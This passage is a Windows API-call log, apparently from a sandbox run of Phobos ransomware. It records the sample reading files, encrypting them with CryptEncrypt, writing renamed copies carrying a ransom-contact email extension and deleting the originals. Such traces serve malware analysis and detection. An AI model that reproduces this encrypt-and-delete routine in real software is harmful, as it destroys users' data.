lpFileSize=0x2d1f7a0*=3865) returned 1 [0047.942] CloseHandle (hObject=0x320) returned 1 [0047.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80 [0047.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.943] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0047.943] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.943] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.943] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.943] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ceb0) returned 1 [0047.943] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.943] ReadFile (in: hFile=0x320, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xf19, lpOverlapped=0x0) returned 1 [0047.945] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xf20, dwBufLen=0xf20 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xf20) returned 1 [0047.945] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf20, lpOverlapped=0x0) returned 1 [0047.946] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cf70) returned 1 [0047.946] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.946] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0047.946] CryptDestroyKey (hKey=0x10cf70) returned 1 [0047.946] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0047.946] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0047.946] CloseHandle (hObject=0x320) returned 1 [0047.946] CloseHandle (hObject=0x318) returned 1 [0047.947] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 1 [0047.948] SetEvent (hEvent=0x2e8) returned 1 [0047.948] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0047.948] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.949] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=77680) returned 1 [0047.949] CloseHandle (hObject=0x318) returned 1 [0047.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80 [0047.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.949] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.949] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.949] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.949] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0047.949] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ccf0) returned 1 [0047.949] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.949] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x12f70, lpOverlapped=0x0) returned 1 [0048.054] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x12f80, dwBufLen=0x12f80 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x12f80) returned 1 [0048.054] WriteFile (in: hFile=0x320, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x12f80, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x12f80, lpOverlapped=0x0) returned 1 [0048.056] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ce30) returned 1 [0048.056] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0048.056] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50, dwBufLen=0x50 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50) returned 1 [0048.056] CryptDestroyKey (hKey=0x10ce30) returned 1 [0048.056] WriteFile (in: hFile=0x320, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x102, lpOverlapped=0x0) returned 1 [0048.056] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0048.056] CloseHandle (hObject=0x318) returned 1 [0048.056] CloseHandle (hObject=0x320) returned 1 [0048.058] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 1 [0048.059] SetEvent (hEvent=0x2e8) returned 1 [0048.060] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0048.060] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0048.154] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=80254) returned 1 [0048.154] CloseHandle (hObject=0x33c) returned 1 [0048.154] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80 [0048.154] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.154] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0048.154] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0048.154] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0048.154] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0048.154] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ce30) returned 1 [0048.154] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0048.155] ReadFile (in: hFile=0x33c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1397e, lpOverlapped=0x0) returned 1 [0048.163] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x13980, dwBufLen=0x13980 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x13980) returned 1 [0048.163] WriteFile (in: hFile=0x340, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x13980, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x13980, lpOverlapped=0x0) returned 1 [0048.165] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cc30) returned 1 [0048.165] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0048.165] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50, dwBufLen=0x50 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50) returned 1 [0048.165] CryptDestroyKey (hKey=0x10cc30) returned 1 [0048.165] WriteFile (in: hFile=0x340, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x102, lpOverlapped=0x0) returned 1 [0048.165] CryptDestroyKey (hKey=0x10ce30) returned 1 [0048.165] CloseHandle (hObject=0x33c) returned 1 [0048.165] CloseHandle (hObject=0x340) returned 1 [0048.167] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 1 [0048.168] SetEvent (hEvent=0x2e8) returned 1 [0048.168] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0048.168] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0048.174] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=39042) returned 1 [0048.174] CloseHandle (hObject=0x340) returned 1 [0048.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80 [0048.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.174] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0048.174] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0048.174] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0048.174] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0048.176] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cfb0) returned 1 [0048.176] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0048.176] ReadFile (in: hFile=0x340, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x9882, lpOverlapped=0x0) returned 1 [0048.178] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x9890, dwBufLen=0x9890 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x9890) returned 1 [0048.178] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x9890, lpOverlapped=0x0) returned 1 [0048.179] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cab0) returned 1 [0048.179] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0048.179] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0048.179] CryptDestroyKey (hKey=0x10cab0) returned 1 [0048.179] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0048.179] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0048.179] CloseHandle (hObject=0x340) returned 1 [0048.179] CloseHandle (hObject=0x304) returned 1 [0048.180] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 1 [0048.181] SetEvent (hEvent=0x2e8) returned 1 [0048.181] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0048.181] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0048.182] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=16118) returned 1 [0048.182] CloseHandle (hObject=0x304) returned 1 [0048.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80 [0048.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.182] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0048.182] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0048.182] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0048.182] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0048.182] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cdf0) returned 1 [0048.182] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0048.182] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x3ef6, lpOverlapped=0x0) returned 1 [0048.184] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x3f00, dwBufLen=0x3f00 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x3f00) returned 1 [0048.184] WriteFile (in: hFile=0x340, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x3f00, lpOverlapped=0x0) returned 1 [0048.185] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d070) returned 1 [0048.185] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0048.185] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50, dwBufLen=0x50 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50) returned 1 [0048.185] CryptDestroyKey (hKey=0x10d070) returned 1 [0048.185] WriteFile (in: hFile=0x340, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x102, lpOverlapped=0x0) returned 1 [0048.185] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0048.185] CloseHandle (hObject=0x304) returned 1 [0048.185] CloseHandle (hObject=0x340) returned 1 [0048.186] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 1 [0048.187] SetEvent (hEvent=0x2e8) returned 1 [0048.187] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0048.187] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0048.187] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=93314) returned 1 [0048.187] CloseHandle (hObject=0x340) returned 1 [0048.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80 [0048.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.187] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0048.187] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0048.187] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0048.187] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0048.188] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ceb0) returned 1 [0048.188] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0048.188] ReadFile (in: hFile=0x340, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x16c82, lpOverlapped=0x0) returned 1 [0048.193] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x16c90, dwBufLen=0x16c90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x16c90) returned 1 [0048.193] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x16c90, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x16c90, lpOverlapped=0x0) returned 1 [0048.195] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ccb0) returned 1 [0048.195] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0048.195] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50, dwBufLen=0x50 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50) returned 1 [0048.195] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0048.195] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x102, lpOverlapped=0x0) returned 1 [0048.195] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0048.195] CloseHandle (hObject=0x340) returned 1 [0048.195] CloseHandle (hObject=0x304) returned 1 [0048.197] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 1 [0048.198] SetEvent (hEvent=0x2e8) returned 1 